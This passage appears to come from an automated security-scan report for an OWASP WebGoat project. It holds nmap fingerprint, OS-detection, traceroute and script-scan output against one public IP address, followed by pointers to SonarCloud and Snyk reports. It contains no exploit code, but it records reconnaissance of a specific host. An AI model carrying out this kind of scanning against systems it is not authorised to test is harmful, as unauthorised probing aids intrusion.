")%r(Fou

SF:rOhFourRequest,65,"HTTP/1.1 404 Not Found Connection: c

SF:lose Content-Length: 0 Date: Mon, 27 Nov 2023 1

SF:2:34:42 GMT

")%r(LPDString,42,"HTTP/1.1 400 Bad Req

SF:uest Content-Length: 0 Connection: close

")%r(LDAPSe

SF:archReq,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n

SF:r Connection: close

")%r(SIPOptions,42,"HTTP/1.1 400

SF:Bad Request Content-Length: 0 Connection: close

"

SF:);

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (85%), WatchGuard Firewall 11.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstationmanager:5.1 cpe:/o:linux:linux_kernel:4.4 cpe:/o:watchguard:fireware:11.8

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Synology DiskStation Manager 5.1 (85%), Linux 2.6.39 (85%), Linux 3.10 - 3.12 (85%), Linux 3.4 (85%), Linux 4.4 (85%), WatchGuard Firewall 11.8 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 5 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 ... 4

5 5678.65 ms 52.172.252.150

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 327.60 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-27 12:36 UTC

Nmap scan report for 52.172.252.150

Host is up (0.21s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-27 12:36 UTC

Nmap scan report for 52.172.252.150

Host is up (0.21s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 767

GitHub Issue URL : [Here!](#)

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 766

GitHub Issue URL : [Here!](#)

Snyk_scan
"priority High"

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.